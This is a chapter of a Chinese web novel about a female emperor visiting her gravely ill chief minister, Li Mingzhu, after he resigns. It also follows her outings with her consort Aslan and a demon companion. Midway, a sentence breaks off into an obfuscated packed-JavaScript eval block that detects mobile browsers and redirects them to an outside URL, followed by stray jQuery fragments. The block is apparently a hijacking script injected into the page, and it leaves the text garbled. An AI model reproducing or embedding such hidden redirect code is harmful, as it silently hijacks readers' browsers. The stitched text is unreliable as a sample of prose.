清晏也挡不住李明珠的奏疏。皇帝收了来，一本一本看过了，按方略与将来施行顺序排布好了，只存在书架多宝阁上，又另命人誊抄了副本用以查阅。


    这好几年下来，倒攒了三个大格子，以至于皇帝想寻个藤箱之流来封存。


    “这些折子誊抄过了，寻个藤箱来存着吧，架上放抄本就是。”


    “是。”


    说话的已是如期带的小宫娥了，这两年贝紫去世，长宁退下去养着，便只有如期接手宫中各项琐事，御前伺候的自然也只能换了徒儿来。


    这小妮子是个沉闷的，也不知道如期怎么最喜欢她。


    “藤箱要熏过的，丢些樟脑防虫。”


    “是，奴记着。”


    皇帝交代了几句，又坐回案前翻折子。她这两日躲了点懒，朝中奏疏便又堆上来了。


    她忍不住叹了口气，又拿起一封新的。


    自清晏调回京，她与李明珠二人便在筹备清晏接任之事，先令清晏往中书省习文书，后又令她往户部、吏部、刑部见习了庶务，今年初才又调回了中书省，却已坐到四品常侍的高位上了，再过几年，大约也能独当一面。


    想想她当年受李明珠保举入京，也才不过四岁，如今已能接任李明珠了。


    是太快了些。


    却不晓得什么时候他才肯听话辞官休养。


    皇帝拿起笔蘸了点朱墨，往手里折子点下一笔赤痕。


    “陛下，陛下！”


    “慌什么呢，慢些说。”


    “不是，是，是李仆射……”


    那本折子被皇帝一把拍在桌案上。


    “李仆射在衙署呕血了！”


    皇帝猛然起身，抬脚就往外走：“摆驾尚书省。”


    李明珠给人七手八脚抬去榻上时候手里还捏了一本折子。


    是他自己的辞官折子。


    皇帝忽而暗暗松了一口气，他终于定下辞官了。虽如今已晚了些，到底他已下决心了。


    “陛下，李仆射这次端看命数。”周院判轻声道，“药食进补已到头了。”


    是无力转圜了。


    皇帝没什么反应，只轻声应了一声道：“晓得了，你照常开方子吧，你们寻一顶软轿来，挪……”


    挪去哪呢。


    皇帝望向墙角，墙角只有些许斑点，什么也没有。


    “陛下……”


    她指尖教人碰了一下。


    “端仪，端仪你醒了？你……”


    “回府吧……”李明珠缓缓从喉间呼出几个字，“回府吧……”


    皇帝拗不过，只好道：“那就挪回府上去。”


    她抽出李明珠手里那本折子，当场便从衙署桌案上拿了笔，龙飞凤舞画了个“准”字：“朕准了，回家休养吧，端仪，补官之事我会另下旨。”


    李明珠没再多说，微微点头任由宫人抬了出去。


    他恐怕是走不了路了。


    皇帝看着软轿缓缓走出皇城门，一时挪不动步子。


    “你想跟上去，回去换身衣服我们出去就是。”妖精低声道。


    谁知道两人还没走到宫墙下，迎面便碰见阿斯兰在宫里散步。


    “你要出宫。”阿斯兰毫不犹豫，当即便戳穿了皇帝，“现在还是白天，你要去干什么。”


    皇帝面不改色：“去街上走走。”


    “……”阿斯兰盯着她瞧了片刻终于开口道：“我也去，你等我一下。”


    等他便是等他拿来一顶帷帽。


    皇帝瞧着那顶帷帽不由好笑：“你怎么还爱上戴这个了。”


    原先是为遮掩她二人相貌差才戴这玩意儿出门，如今他出门倒非戴不可了。


    “现在街上男人都会戴了。”阿斯兰轻声道，“我也不想被人说老夫少妻。”


    皇帝便笑：“街上男人戴是因为近世风行男子守灶，他们便藉此抬高身价，不抛头露面以免显得没格调，你原本也不爱戴这个呀。再说你早就坐到这男人顶峰了，也不须这劳什子。”


    “会被人说老夫少妻。”阿斯兰坚持，“我不想听。”


    那本不是他的错。皇帝看他将帽子靠在怀里才上车，轻轻拉了他手臂来道：“原是我不老罢了。”


    她缓缓倚靠在阿斯兰肩头，轻声道：“这样总归你不至于落得孤女鳏夫，也是好的。”


    “我只怕没有多少时候了。”阿斯兰挪了皇帝靠来怀里，“你这些年总是不太高兴，对年轻男人也没有兴趣……我想多和你在一起。”


    皇帝从燕王府被定安侯公子刺激了一回，便又不再选秀了。虽说朝臣多有怨言，到底皇帝已着手挑选远支宗女过继，她们便也不好多说什么。


    她年事已高，虽癸水还通畅，不少人已弃了亲生帝女一说。


    “嗯，初时有些新鲜感，多了也觉无趣。”皇帝听着马车缓缓驶出宫门，换了个姿势窝在阿斯兰怀里，“要论起长久来，还是你好些。”


    阿斯兰身子一僵。


    “……嗯，我陪着你。”他轻轻拍了拍皇帝手臂，“我知道你今天是要出宫去看……看那个男人。”


    不是。


    皇帝猛然直起身子：“你怎么知道？”


    “直觉。你今天看起来像是要做坏事。寻常出宫你不是这样。而且我听说他病重了。”


    枕边人果真要防备。皇帝摸了摸鼻子不由腹诽，竟然都给他看穿了。


    事已至此，皇帝也不再隐瞒他，轻声道：“端仪辞官了，我批了折子，去瞧瞧他。”


    “……我在外面等你吧。”阿斯兰道，“你……你会经常来么……”


    他扶了皇帝下车，不等皇帝答话又微微转过脸去：“算了，你不用和我说，以后再来也不用和我说。”


    她必定会再来，甚至会常来。


    李明珠不再是宰相了，天子拜访旧臣府邸并非奇事，虽说有卑不动尊的规矩，可她本就憎恨陈规。


    可那又有什么办法呢。阿斯兰径自拿了帷帽，与法兰切斯卡去寻马车行泊车，不由往府内望了一眼。


    不知她会说些什么，她惯来会说好话。


    可皇帝什么也没说。


    内室里头李明珠已挪上榻了，见着她来，勉强掀起被子想行礼，给她拦住了，又挪回床上。


    “卑不动尊，陛下不该到此。”


    皇帝扶了他靠在榻上，给他盖上被子道：“我要进来，你府里这些人多是宫里拨出来的，也没人敢拦着我。”


    “是啊……”李明珠无奈笑道，“臣科举前夕便很怕，教李主君打晕了塞进宫里，或是陛下将臣黜落，这几年又怕哪天陛下令宫人将臣送进宫里去。”


    皇帝也柔声笑道：“现今不是辞官了么，便不必再怕了。仕途都结束了，端仪。”


    她随手招了个内侍来：“这几日李仆射身体如何？”


    “是，陛下……李仆射这几日不好，瞧着精神头也差，面色也不好，还不许我们往宫里头说。可见着今日就……”


    这几年他身子是越来越不好了，才着急着又是写方略又是培养清晏。


    总是怕后继无人罢了。


    皇帝面上却没什么波澜，只摆摆手道：“晓得了，你去吧。”


    “哎。”


    “怎么不许人说呢……”皇帝瞋了李明珠一眼，“我还能吃了你不成？”


    李明珠垂下眼帘，只看着被面道：“臣仍未下定决心辞官……”


    可这被面也没什么好看，不过一块素色棉布，还有些洗掉了色。


    皇帝一听便明了了：“那今日又待如何呢？”


    李明珠轻声道：“……臣午后眼前发黑，想着大约是时日无多了……至少不能倒在衙署，那么多人瞧着呢。”


    “这种时候倒要体面了。”皇帝好笑，“可今日便恰恰好倒在衙署。”


    天不遂人愿。倒在衙署，顷刻间便惊了圣听。


    李明珠却只是看着皇帝微笑，含混过去道：“学生们都瞧着，却是令他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177774|187166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慌神了。”


    “好吧，好吧，就当是这样。”皇帝也不多追究，“越是到了这个年纪，越怕失了体面。”


    她随手拿起床上一本书来，这书当是她来之前李明珠仍在看的。


    “《搜神记》？”皇帝瞪大了眼睛，“你竟也看志怪？”


    李明珠微微赧然笑道：“辞官了，不理世事，便也学着人看些消遣东西，久居病榻也做不了那许多风雅之事。”


    “这有什么，栖梧宫里也不少世情话本子，改日我送些好的与你消遣时间，只不知你爱看什么样的？”


    “臣也不知……”李明珠垂下脸，“臣没看过这些，也不会听戏赏曲……”


    仿佛这许多年便是读圣贤书与体察世情，来来回回都是公事，未曾消遣过。


    但皇帝是很有些雅趣的，他知道。


    从前未入仕时候也总是她带着人满京城里寻乐子，不过那时尚不知她便是当今天子罢了。


    “这有何难？人要学着找乐子是极快的，难的却是一直醉心公事。”皇帝笑道，“待你身子好些，我便请了戏班来给你唱就是，想听什么都有……其实就这几日也行，京里好戏班子多着，叫来你府里给你唱一台。”


    李明珠却难得露了些脾气来：“多少吵闹……还是不要了。”


    “好，好，都依你……这些年我可都依你了……什么都依着你，才走到今日地步。”


    她是恨的。李明珠忽然反应过来，只是这遗恨没个头，便也不发作出来。


    “还有时日。”他心下转了几个念头忽道，“还有些时日，陛下，也不算太晚。”


    “李仆射。”


    李明珠便向皇帝笑道：“是周院判来了。”


    “好，好，我先走，不偷瞧你诊脉。”皇帝轻轻摇了摇李明珠袖口，“你要好好养着。”


    皇帝才出了府，面色便倏然沉下来。


    “病很重？”妖精见她这样子不由道，“周素问负责的，应该没什么大事吧？”


    “想来端仪时日无多了。”皇帝摆摆手，丢开了妖精来扶的手，“连糊涂话都说出来了，还能有几日？”


    但凡他还能站起来上朝，都绝不会说什么“不算太晚”。


    阿斯兰只是听着，没说话。


    “人都是要死的。”妖精看着皇帝眼睛，“你今年几岁，和你年纪差不多的人都到了该死的时候了。许留仙前两年死，你也不是这么难过。”


    皇帝瞥了妖精一眼，没与他发作，只是道：“我只是还没得到过。”


    人总是尤其介意求而不得之物，这是人的贪欲与占有欲。


    “行了……他死了你还得活好久……”妖精往前走了几步，忽而停下来，叫住了旁边挑货担的外族人，“哎，我给你展示一个小秘密。”


    皇帝兴致缺缺：“干什么。”


    妖精便笑，从衣袋里头掏了些散碎银两来，与那小贩买了一把短刀。


    “这把刀是银的，做工却不算精良。”阿斯兰轻声道。


    “这是用来辟邪的，贵人。”小贩高声笑道，“看您也是漠北人，应当知道这俗习，女人有妆刀，男人佩三事儿，就是要用银的，辟邪！”


    “我知道。”阿斯兰淡淡应下一声，却让小贩走了。


    只有法兰切斯卡拆了这刀来，拿着开刃一侧在掌心里比划：“你看着啊……”


    皇帝不知道他要干什么。


    妖精面不改色，拿着刀刃便是一刀割开手掌，瞧得阿斯兰也愣了一下。


    但与平素不同，这一道伤并未立即愈合。


    “银刀划伤我是不能马上愈合的。”妖精笑道，“你可知道怎么治我了。”


    “如果要愈合怎么办？”


    “还是可以愈合的，只是慢点。”妖精笑，将银短刀收好了挂去皇帝颈间，“如果要我像平时那样愈合的话呢，只有求主子给我赏点天寿了。”


    皇帝瞟他一眼：“怎么赏。”


    “分我一滴血。”